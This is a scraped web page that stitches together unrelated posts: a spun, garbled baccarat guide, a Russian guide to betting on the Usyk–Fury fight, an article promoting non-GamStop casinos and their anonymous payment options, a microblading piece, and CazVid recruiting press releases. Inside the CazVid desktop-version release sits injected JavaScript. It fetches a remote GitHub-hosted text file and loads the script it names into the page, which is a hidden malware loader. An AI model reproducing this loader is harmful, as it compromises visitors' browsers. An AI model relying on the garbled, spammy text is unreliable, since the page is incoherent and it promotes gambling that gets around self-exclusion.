Baccarat Gra Zasady: A Comprehensive Guide to the Video game

When it pertains to online casino games, Baccarat is a traditional that has stood the examination of time. With its beginnings going back to 19th-century France, this card game continues to be a preferred option among players worldwide. If you’re new to Baccarat gra zasady, or if you’re wanting to review your skills, this overview will provide you with all the information you require to comprehend the policies and techniques of the game.

What is Baccarat Gra Zasady?

Baccarat is a card video game that is played between two hands: the player and the lender. The primary goal of the game is to bet on which hand will have a total point worth closest to 9. In Baccarat gra zasady, each card has a particular value: cards 2-9 deserve their stated value, 10s, Jacks, Queens, and Kings deserve 0 factors, and Aces deserve 1 factor. If the overall value of a hand exceeds 9, the 10s figure is gone down, making the complete worth between 0 and 9.

The video game starts with the player and banker each receiving 2 cards. Depending on the overall worth of the first two cards, a 3rd card may be drawn according to certain guidelines. The hand with the highest total worth victories, with payments differing depending on the wager positioned.

One of the essential facets of Baccarat gra zasady is that gamers can bank on 3 end results: the gamer winning, the banker winning, or a connection between both hands. Each result offers various chances, adding an aspect of enjoyment to the game.

  • Gamer bet: If the gamer wins, the payment is 1:1.
  • Banker wager: If the lender wins, the payout is 1:1 minus a 5% commission.
  • Tie wager: If there is a connection, the payment is usually 9:1 or 8:1, relying on the gambling establishment.

Techniques for Playing Baccarat

While Baccarat is greatly a game of chance, there are certain methods that players can employ to boost their chances of winning. One prominent method is the Martingale system, which entails increasing your bet after every loss and returning to the initial wager after a win. This strategy is based on the idea that a win will ultimately occur, leading to a net earnings.

An additional typical method is the Paroli system, which entails increasing your bet after every win. This strategy is based on the concept that winning streaks have a tendency to continue, enabling gamers to maximize their profits during a warm touch.

It’s important to keep in mind that while techniques can aid boost your possibilities of winning in the short term, Baccarat is inevitably a video game of luck. It’s vital to set a budget plan and stick to it, as well as recognize when to ignore the table.

Where to Play Baccarat Gra Zasady

Baccarat is a prominent video game in both land-based and on the internet gambling enterprises. Lots of gambling enterprises provide different variations of the video game, including live dealer Baccarat, which supplies a genuine casino site experience from the convenience of your home.

  • Land-Based Online casinos: If you prefer the environment of a standard online casino, you can find Baccarat tables in lots of brick-and-mortar establishments worldwide. Gamers can take pleasure in the social aspect of playing with others and communicate with the dealer face to face.
  • Online Casino sites: For those that like convenience and adaptability, on the internet gambling establishments offer a variety of Baccarat video games that can be used desktop or mobile phones. Gamers can take pleasure in numerous betting limitations and reward offers, making it simple to locate a video game that fits their choices.

Conclusion

Baccarat gra zasady is a timeless video game that uses exhilaration and suspense to players of all ability levels. Whether you’re a novice or a skilled pro, understanding the policies and strategies of Baccarat can assist boost your gaming experience and boost your chances bitcoin casino of winning. With its straightforward gameplay and different wagering alternatives, Baccarat is a game that remains to astound gamers around the world.

CazVid to Release New Version of its ATS Desktop

CazVid announces the release of a new version with new features for its free worldwide recruiting app and ATS, further streamlining and simplifying the recruiting process.

TEMPE, Arizona – [11/9/2024] – today, CazVid has announced the release of a new version with new and improved features for their AI-powered applicant tracking system (ATS) and video resume app, while further streamlining recruitment workflows. The update includes 4 new key features: the CazVid Quick Apply, AI Recommendations, External Contacts, and Contact Information Access.

“We are extremely excited to release this new and improved ATS”, says Yuvi Shmul, founder and CEO of CazVid.  “The CazVid quick-apply feature for example, accessed and managed in the ATS, enables employers to receive and organize applicants in one centralized dashboard with complete information. We are designing the most user friendly ATS out there and keeping it free for employers worldwide,” Shmul added.   

With the Quick Apply, candidates can review job offers, and apply directly through an application form, submitting their video resumes, written resumes, motivation letters, and contact details. Once a candidate applies, a complete applicant record is automatically added to the hiring manager’s list as a new applicant.

With the new update, hiring managers receive AI-powered recommendations that align to the profile described in the job post. The hiring manager can then save the best recommendations in their ATS for future reference and give feedback to refine and improve the AI’s functionality.

The external contacts feature enables hiring managers to upload their own external contacts to CazVid. Completing their database and enriching any missing information, providing a seamless integration between CazVid and external resources.

Also, employers can now access contact information from candidates, including written resumes, contact information, LinkedIn profiles to accompany their video resumes. Candidates can  use their privacy settings to manage what information is shared with employers.

In addition to CazVid’s regular advanced search, the new full-text candidate search allows employers to search beyond job titles. Hiring managers can now filter candidates by descriptions, video content, written resumes, and keywords. Enabling searches based on experience, certifications, qualifications, education and more.

About CazVid:

CazVid is a leading AI, software, and data solution for employers, candidates, and recruiters. The CazVid platform includes the world’s largest video-resume job board and an AI-driven Applicant Tracking System (ATS) with advanced matching and outreach features. Founded in 2020 in Tempe, Arizona, CazVid offers worldwide access to over 1,000,000 jobs and candidates.

Media Contact

Stacey Sicz

[email protected] (https://cazvid.app.link)

+1-480-238-2140

Read more about the CazVid ATS

Сделать ставку на бой усик фьюри_36

Как сделать ставку на бой Усик против Фьюри Полное руководство

Спортивные мероприятия всегда привлекали внимание не только фанатов, но и тех, кто стремится превратить свою страсть в источник дополнительного дохода. Одним из самых ожидаемых событий в мире бокса станет усик против фьюри ставки встреча двух легенд ринга, которая уже вызвала бурю обсуждений среди экспертов и болельщиков. В этой статье мы рассмотрим ключевые аспекты, которые помогут вам принять взвешенное решение и сформировать свою стратегию.

Анализ сильных и слабых сторон – это первый шаг к пониманию потенциала каждого участника. Каждый из них обладает уникальным набором навыков, которые могут стать решающими в реальной схватке. Важно учитывать не только их физическую форму, но и психологический настрой, а также историю предыдущих поединков. Эти данные позволят вам сформировать более точный прогноз и снизить риски.

Кроме того, коэффициенты и букмекерские предложения играют немаловажную роль. Они отражают мнение экспертов, но не всегда совпадают с реальными шансами спортсменов. Ваша задача – не просто следовать за мнением толпы, а критически оценивать каждый фактор, чтобы принять решение, которое будет основано на анализе, а не интуиции.

Основные шаги для участия в пари

1. Выбор надежного оператора: Начните с анализа рынка и выбора проверенного букмекера. Убедитесь, что он имеет лицензию, предлагает широкий выбор событий и предоставляет надежную систему платежей. Это важный шаг для безопасности ваших средств и гарантии честной игры.

2. Изучение статистики и аналитики: Прежде чем сделать выбор, уделите время изучению предыстории спортсменов, их текущей формы и ключевых показателей. Анализ данных поможет вам принять более обоснованное решение и снизит риск потери.

3. Определение стратегии: Решите, какой подход вы будете использовать: консервативный, агрессивный или комбинированный. Важно учитывать не только вероятности, но и свои финансовые возможности, чтобы избежать излишних рисков.

4. Регистрация и пополнение счета: После выбора оператора зарегистрируйтесь на его платформе и пополните счет. Убедитесь, что выбранный метод оплаты удобен и безопасен для вас.

5. Размещение пари: Наконец, выберите интересующее вас событие, укажите сумму и подтвердите ставку. После этого ваш выбор будет зафиксирован, и останется только следить за развитием событий.

Следуя этим шагам, вы сможете максимально эффективно подготовиться и принять участие в процессе, минимизируя риски и увеличивая свои шансы на успех.

Анализ статистики и прогнозов

Начнем с анализа предыдущих поединков. Обратите внимание на количество побед, нокдаунов и поражений. Эти цифры не только демонстрируют уровень подготовки, но и позволяют понять, как спортсмен ведет себя в сложных ситуациях. Также важны данные о среднем количестве ударов за раунд, проценте точности и защите. Эти показатели дают представление о технической оснащенности и тактическом подходе каждого из соперников.

Физические параметры – еще один важный критерий. Рост, размах рук, уровень выносливости и скорость реакции могут стать решающими факторами в близком противостоянии. Например, более высокий и длиннорукий боец чаще имеет преимущество на дистанции, в то время как более компактный и быстрый спортсмен может доминировать в ближнем бою. Учитывайте эти нюансы при анализе.

Стиль ведения боя также играет ключевую роль. Один из соперников может предпочитать агрессивный натиск, другой – выжидательную тактику с контратаками. Важно понять, как эти подходы сочетаются друг с другом. Например, осторожный боец может успешно противостоять мощному нападающему, если умеет эффективно уходить от ударов и находить момент для решающего ответа.

Наконец, не стоит недооценивать роль внешних факторов, таких как форма на момент боя, мотивация и психологический настрой. Эти аспекты не всегда отражаются в статистике, но могут оказать значительное влияние на результат. Учитывая все эти данные, вы сможете сформировать более четкое представление о возможных сценариях развития событий.

Выбор надежного букмекера

  • Лицензия и репутация: Одним из ключевых критериев является наличие официальной лицензии. Это гарантирует, что оператор работает в рамках законодательства и соблюдает стандарты безопасности. Репутация компании также играет важную роль. Ознакомьтесь с отзывами других пользователей и специализированных обзоров.
  • Широкий выбор событий: Надежный букмекер предлагает обширную линию, включая бокс. Важно, чтобы на платформе были доступны не только основные исходы, но и дополнительные рынки, такие как тоталы, форы и комбинированные ставки.
  • Удобство интерфейса: Платформа должна быть интуитивно понятной и удобной для использования. Быстрая загрузка, четкое отображение коэффициентов и возможность быстрого размещения пари – это то, что делает взаимодействие с букмекером комфортным.
  • Бонусы и акции: Многие букмекеры предлагают привлекательные бонусные программы для новых и постоянных клиентов. Однако важно внимательно изучить условия их получения, чтобы не столкнуться с ограничениями.

Выбор надежного букмекера – это инвестиция в ваш комфорт и успех. Уделяйте время анализу, чтобы сделать осознанный выбор и наслаждаться процессом беттинга без лишних переживаний.

Советы по управлению банком

Прежде всего, важно определиться с размером начального депозита и придерживаться установленного лимита. Рекомендуется выделять только ту сумму, которую вы готовы потерять, не подвергая свою финансовую стабильность риску. Распределение средств между несколькими событиями позволяет минимизировать риски и избежать полной потери капитала в случае неудачи.

Еще один важный момент – это фиксированный процент от банка на каждую ставку. Например, не стоит тратить более 5-10% от общей суммы на одно событие. Такой подход обеспечивает долгосрочную прибыльность, даже если серия неудачных прогнозов временно уменьшит ваш бюджет.

Не забывайте также регулярно анализировать свои результаты. Ведение статистики помогает выявить сильные и слабые стороны в вашей стратегии, что позволяет своевременно вносить коррективы и повышать эффективность инвестиций. Помните, что управление банком – это не мгновенный процесс, а постоянная работа над собой и своей финансовой дисциплиной.

Non GamStop Casino UK: Payment Methods Explained

 

 

The world of online gambling is constantly evolving, with new casinos and games being introduced every day. One trend that has become increasingly popular in recent years is the rise of non GamStop casinos in the UK. These are online casinos that are not part of the self-exclusion scheme GamStop, which allows players to restrict their access to gambling sites.

One of the key factors that contribute to the success of non GamStop casinos is their wide range of payment methods. In this article, we will explore the different payment methods available at non GamStop casinos in the UK, how they work, and the advantages and disadvantages of each.

Credit and Debit Cards

Credit and debit cards are the most popular payment method at non GamStop casinos in the UK. They are widely accepted by most online casinos and offer a convenient way for players to fund their accounts. Some of the most commonly used cards include Visa, Mastercard, and Maestro.

One of the main advantages of using credit and debit cards is that they are widely accepted and easy to use. Players can simply enter their card details on the casino's payment page and the funds will be instantly credited to their account. However, one downside is that some banks may block transactions to online casinos, so players should check with their bank before making a deposit.

E-Wallets

E-wallets are another popular payment method at non GamStop casinos in the UK. E-wallets such as PayPal, Neteller, and Skrill allow players to store their funds securely and make instant deposits and withdrawals at online casinos.

One of the main advantages of using e-wallets is that they offer an extra layer of security. Players do not need to enter their card details on the casino site, reducing the risk of fraud. Additionally, e-wallets offer fast withdrawals, with funds usually transferred within 24 hours.

Bank Transfers

Bank transfers are a traditional payment method that is still widely used at non GamStop casinos in the UK. Players can transfer funds from their bank account directly to the casino's account using online banking or through a bank branch.

One of the advantages of using bank transfers is that they are secure and reliable. Players can make large deposits without worrying about transaction limits imposed by other payment methods. However, one downside is that bank transfers can take several days to process, which may not be ideal for players who want to start playing immediately.

Prepaid Cards

Prepaid cards are another popular payment method at non GamStop casinos in the UK. Players can purchase prepaid cards such as Paysafecard or Neosurf from retailers and use them to fund their casino accounts.

One of the advantages of using prepaid cards is that they offer anonymity. Players do not need to reveal their personal or financial information when making a deposit, which can be appealing to those who value their privacy. However, one downside is that prepaid cards cannot be used for withdrawals, so players will need to find an alternative method to cash out their winnings.

Cryptocurrency

Cryptocurrency is a relatively new payment method that is gaining popularity at non GamStop casinos in the UK. Players can use digital currencies such as Bitcoin, Ethereum, and Litecoin to fund their accounts and make withdrawals.

One of the advantages of using cryptocurrency is that it offers fast and secure transactions. Players do not need to reveal their identity when making a deposit or withdrawal, adding an extra layer of privacy. Additionally, cryptocurrency transactions are usually processed instantly, allowing players to start playing their favorite games without delay.

In conclusion, non GamStop casinos in the UK offer a wide range of payment methods to cater to the needs of all players. Whether you prefer the convenience of credit and debit cards, the security of e-wallets, the reliability of bank transfers, the anonymity of prepaid cards, or the speed of cryptocurrency, there is a payment method that suits your preferences. It is important to choose a trusted and reputable casino that offers a variety of payment options to ensure a seamless and enjoyable gaming experience.

CazVid Expands to Revolutionize Recruitment in the Hotel, Tourism, and Hospitality Industries

Today, CazVid announced its plans to expand its free worldwide app and ATS to the hotel, tourism, and hospitality industries, offering a unique solution for these sectors, which often require intensive recruitment practices.

[TEMPE, AZ – August 31, 2024] – CazVid LLC, the world’s largest video resume-based job board, announced its expansion into the hotel, tourism, and hospitality industries. This move introduces a powerful, video-based recruitment solution designed to streamline the hiring process across these sectors.

With CazVid’s platform, employers and recruiters can quickly and efficiently hire waiters, hire receptionists, hire concierge staff, hire room attendants, and other highly demanded positions. The platform allows job seekers to present their skills and personality through short, 30-second video resumes, providing a more authentic and personal way for businesses to assess candidates.

A key feature of the CazVid platform is its advanced Applicant Tracking System (ATS), designed to meet the specific needs of the hotel, tourism, and hospitality sectors. This AI-driven ATS allows employers to efficiently manage their recruitment process, from candidate screening to matching applicants, and providing a comprehensive overview of candidates.

“Our expansion into the hotel, tourism, and hospitality industries is tailored to address the specific recruitment challenges these sectors face,” said Jan Sytze Heegstra, Business Development Manager at CazVid LLC. “With the CazVid ATS, businesses in the hotel, tourism, and hospitality industries can speed up their hiring process and enhance candidate quality by allowing applicants to showcase themselves in a more engaging and personal manner.”

The hotel, tourism, and hospitality industries are notorious for their high turnover rates and constant demand for employees with strong personal presentation and high quality customer service. CazVid’s innovative app and ATS are designed to tackle these challenges, offering businesses a more efficient way to assess and hire candidates who meet their standards. By leveraging video resumes, employers in the hotel, tourism and hospitality industries can better evaluate whether candidates are fit for roles that require strong communication and interpersonal skills. Additionally, CazVid’s ATS streamlines the process of hiring multiple candidates and makes it easy to go back to past applicants who have shown interest, ensuring a more effective and organized recruitment process.

CazVid gives employers and recruiters in the hotel, tourism and hospitality industries a user-friendly platform that makes hiring easier. Whether it’s browsing video resumes, posting job openings, or managing applicants, CazVid simplifies every step, making it faster and more straightforward to hire staff. This expansion is expected to reduce hiring times and improve the quality of new hires across these industries.

About CazVid:

CazVid LLC, founded in 2020 in Tempe, Arizona, is a leading provider of AI-driven, video resume-based job boards and Applicant Tracking Systems (ATS). With over 1,000,000 jobs and candidates worldwide, CazVid continues to innovate and revolutionize the recruitment process across multiple sectors, including the hospitality industry.

Media Contact

Stacey Sicz

[email protected]

+1-480-238-2140

Home

https://cazvid.app.link

Microblading Classes in Las Vegas: Techniques and Trends for 2024

 

Microblading has become a popular cosmetic procedure in recent years, offering a semi-permanent solution to eyebrow enhancement. As the demand for microblading services continues to rise, so does the need for skilled professionals who can perform this intricate technique with precision and artistry. In Las Vegas, a city known for its glamorous and trend-setting culture, microblading classes have become a sought-after opportunity for aspiring beauty professionals to learn the latest techniques and trends in the industry.

Microblading classes in Las Vegas cover a range of topics, including eyebrow shaping, color theory, sanitation practices, and client consultation. Students are taught how to use a handheld tool with fine needles to create hair-like strokes in the brow area, resulting in a natural and defined look. The technique requires a steady hand and an eye for detail, making it essential for students to practice extensively under the guidance of experienced instructors.

One of the key trends in microblading for 2024 is the use of advanced pigments and shading techniques to create more realistic-looking brows. This includes the use of microshading, a technique that involves creating a soft, powdered effect for a fuller brow appearance. Students in Las Vegas microblading classes are taught how to master these techniques through hands-on practice and demonstrations, ensuring they are well-equipped to meet the demands of clients seeking natural and on-trend brows.

Another trend in microblading for 2024 is the emphasis on sustainability and eco-conscious practices. Many beauty professionals are now opting for organic and cruelty-free products in their services, including pigments and aftercare products. In Las Vegas microblading classes, students are encouraged to consider the environmental impact of their work and to explore ways to minimize waste and promote sustainability in their practices.

In addition to technical skills, microblading classes in Las Vegas also focus on the business side of the industry. Students learn how to market their services, build a client base, and manage their finances effectively. With the growing popularity of microblading, it is essential for professionals to have a strong understanding of the business aspects of the industry in order to succeed in a competitive market like Las Vegas.

Overall, microblading classes in Las Vegas offer a comprehensive education in the latest techniques and trends in the industry. Students are equipped with the skills and knowledge needed to excel in their careers as microblading artists, providing high-quality services to clients seeking natural and aesthetic enhancements to their brows. As the industry continues to evolve, it is crucial for professionals to stay abreast of the latest trends and techniques in order to meet the demands of an ever-changing market.

In conclusion, microblading classes in Las Vegas provide a unique opportunity for beauty professionals to enhance their skills and stay ahead of the curve in the rapidly evolving world of cosmetic aesthetics. By mastering the latest techniques and trends in the industry, students are able to offer top-notch services to clients and build successful careers in this dynamic field. As the demand for microblading continues to grow, the need for skilled professionals who can deliver exceptional results will only increase, making microblading classes in Las Vegas an invaluable investment for aspiring beauty professionals.

CazVid Launches New AI-Driven Applicant Tracking System (ATS)

Today, CazVid announced the launch of their new AI-driven Applicant Tracking System (ATS), a significant advancement aimed at streamlining the hiring process for employers and job seekers. The new ATS will be integrated into the CazVid platform, providing users with enhanced tools to manage job applications efficiently.

[TEMPE, AZ – July 10, 2024] “Introducing our new AI-driven Applicant Tracking System is a major milestone for CazVid. This innovation is part of our ongoing commitment to provide a seamless and efficient hiring experience for our users,” said Wesley Bouwmeester, Chief Operating Officer. “Our ATS will revolutionize the way employers manage job applications, making it easier to track, screen, and communicate with candidates. This enhancement will also benefit job seekers by ensuring their applications are managed effectively, leading to faster responses and better job matching.”

The new ATS is designed to complement CazVid’s existing platform, which allows users to create and share short, 30-second video resumes and job postings. By integrating the ATS, CazVid aims to provide a comprehensive recruitment solution that covers every aspect of the hiring process, from initial job posting to final hire.

“Our goal is to make the hiring process as efficient and user-friendly as possible,” Bouwmeester added. “With the new ATS, we are expanding our capabilities and providing our users with the tools they need to succeed in today’s fast-paced job market.”

About us:

CazVid is a leading AI, software, and data solution for employers, candidates, and recruiters. The CazVid platform includes the world’s largest video-resume job board and an AI-driven Applicant Tracking System (ATS) with advanced matching and outreach features. Additionally, the Agency Leads database provides recruiters with contact information for hiring managers. Founded in 2020 in Tempe, Arizona, CazVid offers worldwide access to over 1,000,000 jobs and candidates.

Media Contact

Stacey Sicz
[email protected]
+1-480-238-2140

https://cazvid.com

https://cazvid.app.link

CazVid unveils desktop version to enhance user experience

More than a job board, CazVid offers innovative solutions

[March 19, 2024, Tempe, AZ] CazVid is thrilled to announce the launch of its desktop version to provide an enhanced user experience. The free jobseeker and job creator app allows users to post and view job openings and resumes through 30-second videos. With the desktop version, users can now access the platform from any device, providing greater convenience and efficiency.

This version of CazVid provides the same functionality as its mobile app, but with a larger, more user-friendly interface designed for desktop screens. Users can seamlessly browse available job listings, filter by category and location, and connect with potential candidates or employers. Employers can easily upload their job content using their computers. 

“We facilitate connections between jobseekers and employers, eliminating the need for lengthy applications and sifting through countless resumes. With the desktop version, we aim to offer our users a more holistic and fulfilling experience, tailored to their preferences and needs,” says Yuvi Shmul, CazVid Founder and CEO.

CazVid currently boasts over 200,000 registered users and tens of thousands of job listings posted across multiple industries and countries. Headquartered in the United States with a global presence, the company’s mission is to disrupt traditional job market paradigms and recruiting processes by providing a free, easy-to-use platform where video becomes a powerful tool to showcase candidates beyond what a resume can offer.

In this regard, it stands out as the first and only app of its kind globally.

For more information, please visit his website.

To try CazVid’s desktop version, access it through this link. You can also download the mobile application from Google Play or Apple. For inquiries or suggestions, you may reach out via email or through social media platforms.;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});

Why Video Resumes Help Companies Make Better Hiring Decisions in Latin America

According to the Economic Commission for Latin America and the Caribbean (ECLAC), the unemployment rate in Latin America reached 7.8% in 2023, meaning that more than 28.7 million people are unemployed this year, not to mention the unemployed population of working age.

In Latin America, in addition to the unemployment caused by the pandemic, 54% of workers are involved in informal economic activities. This makes the situation more unstable and vulnerable in the region.

The problem remains the same: times of economic recession, with recovery in a few countries, but also a labor market with offers, but with difficulties to connect with the right human talent, with tools and procedures that do not fully satisfy the needs of both employers and candidates.

Current Job Boards

Job boards are systems that allow employers and workers to find job offers and demands. This is a scheme that connects options, needs, and solutions. However, both employing companies and the immense mass of people looking for work fail to establish effective connections and cover their expectations.

For example, according to the Newspaper “El País”, 8 out of 10 companies express difficulty in finding the right talent. Why is this? Let’s see:

  • Lack of updates and automation: there is a partial absence of mechanisms to update and validate candidate and vacancy information. This leads to obsolescence, redundancy, and ambiguity. On the other hand, the presentation of the merits of the candidates usually requires physical or telematics procedures that imply a high administrative burden for both parties.
  • Traditional methods, longer evaluation time: reading hundreds of CVs, then filtering them and then organizing personal interviews, requires a high investment of time and resources. The traditional method of recruitment is proving ineffective in producing the desired outcomes. That is: we are talking about a long and expensive process that in the end does not guarantee the best decisions.
  • Difficulties in attracting and retaining young talent: there is a generation of digital natives with great potential, but at the same time, there is the difficulty of connecting with them, capturing their attention, loyalty, and retaining them in companies.

In this scenario, companies looking to hire staff face a double challenge: on the one hand, managing a large volume of applications, and on the other, selecting the best talents that fit their needs and organizational cultures.

How to optimize the recruitment and hiring process without implying excess time and resources, but at the same time improving the quality of decisions?

The Problem with Written CVs

The written CV is the classic way to get to know the candidates in the first stage. However, this format increasingly complicates decision-making in companies that not only look for hard skills but need to know what exists beyond the written words on paper.

For 21st-century companies, pressured by innovation and the need to increase or maintain performance, it is crucial to know what the person is like before hiring them. In other words: modern organizations need to know who you are and how you are, even before knowing what you know or what you do. What good is it to hire someone with 10 academic degrees if, for example, they don’t know how to work in a team or their emotional intelligence is poor?

The main problem with written resumes is that they do not faithfully reflect these qualities. Generally, CVs are full of irrelevant, false, or exaggerated data that do not add value to the company or the candidate. How to evaluate in this format emotional skills, attitude, presence, communication, enthusiasm, or the first impression of the candidates? Isn’t this important for the future performance and efficiency of the worker?

In practical terms, the written CV is not an efficient or attractive format for companies that receive hundreds or thousands of applications for each vacancy. Reading and evaluating each written CV implies an investment of time and resources that often does not translate into satisfactory results. Additionally, this tool does not capture the attention or interest of recruiters, who get bored and tired of always seeing the same thing.

Video CV: Multimedia Information at the Service of Recruiters to Evaluate Candidates

For our CEO and founder of CazVid, Yuvi Shmul, a video resume represents the ideal option for employers who need not only to simplify processes but to make better decisions. “Enhancing the evaluation of candidates in the first stage of the selection process, without costs and long and complex procedures, is CazVid’s proposal. Video resumes change the rules in recruitment,” he says.

This would not have been possible 10 or 20 years ago. It was even unimaginable 50 years ago. Video CVs burst into the Latin American job market because we live in a more visual world that is projected digitally, because the technologies that support these premises already exist.

“Imagine that you can preliminarily get to know your candidates, see them, listen to them, assess their attitude, body language, technical vocabulary, self-confidence, and even mastery of other languages, in a video between 30 seconds to a minute. Then, imagine that you quickly select your finalists, those who inspire trust, and that you will only read the resumes of these finalists. How much time would you save? Your decisions will be better informed because you first valued what really interests you from that group of people,” explains Shmul.

The video CV offers several advantages for both candidates and companies looking to hire staff:

  • Stand out from the rest of the applicants, showing originality and added value.
  • Demonstrate communication competencies, creativity, and mastery of new technologies, aspects highly valued in today’s job market.
  • Project personality, attitude, and motivations, generating greater empathy and trust in front of recruiters.
  • Visualize and showcase achievements, projects, and work, incorporating multimedia elements that support their resume.

And, on the other hand, the video CV as a selection tool allows companies to:

  • Save time and resources: you can see and evaluate the candidates’ profiles quickly, without having to read extensive documents.
  • Improve the quality of decisions: obtain more complete, truthful, and relevant information from the candidates.
  • Increase interest and satisfaction: we are talking about more attractive, varied, and personalized applications.

CazVid: A Change in Paradigm and Focus

CazVid is a free mobile application, with its respective web version, which allows employers and candidates to connect by posting job offers and resumes in video format. We could say that it combines elements of TikTok and Tinder, dedicated to the job market, and that it seeks to facilitate the recruitment and hiring process for all types of trades and professions in Latin America.

The service, completely free, represents a change in paradigm and focus in the current job market because it bets on the video CV as a powerful tool for selecting staff, compared to most digital job exchanges that use traditional methods and tools to capture and select human talent.

“CazVid is based on the premise that the video CV is more efficient, attractive, and informative than the written resume, and that it allows employers and candidates to get to know each other better and optimize their decisions,” concludes the CEO of CazVid.

The brand not only includes the App for mobile devices and a desktop version, but also Agency Leads, a service that brings together powerful lead generation and management tools for recruiters and staffing agencies.